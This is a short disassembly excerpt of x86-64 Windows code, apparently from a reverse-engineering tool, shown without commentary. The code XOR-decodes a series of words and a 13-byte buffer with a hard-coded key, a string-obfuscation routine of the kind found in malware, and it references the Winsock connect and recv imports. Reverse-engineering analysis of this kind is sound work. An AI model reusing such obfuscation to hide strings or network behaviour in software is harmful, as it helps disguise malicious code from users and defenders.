psllq xmm0, 3
vpsrlvq xmm1, xmm5, xmm0
pshufb xmm1, xmm4
movd xmm0, eax
xorps xmm1, xmm0
psllq xmm3, 3
movd eax, xmm1
movdqa xmm0, xmm2
psllq xmm0, 3
vpsrlvq xmm1, xmm5, xmm0
mov word [rcx], ax
movzx eax, word [rcx + 2]
pshufb xmm1, xmm4
movd xmm0, eax
xorps xmm1, xmm0
psllq xmm2, 3
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm5, xmm0
mov word [rcx + 2], ax
movzx eax, word [rcx + 4]
pshufb xmm1, xmm4
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [0x14003d990]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm5, xmm0
mov word [rcx + 4], ax
movzx eax, word [rcx + 6]
pshufb xmm1, xmm4
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
vpsrlvq xmm1, xmm5, xmm3
pshufb xmm1, xmm4
mov word [rcx + 6], ax
movzx eax, word [rcx + 8]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
vpsrlvq xmm1, xmm5, xmm2
pshufb xmm1, xmm4
mov word [rcx + 8], ax
movzx eax, word [rcx + 0xa]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rcx + 0xa], ax
mov eax, recv
movabs r9, 0xf6b2b971f8d9361
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0xd
jb 0x140008f20
mov byte [r8 + 0xd], 0
ret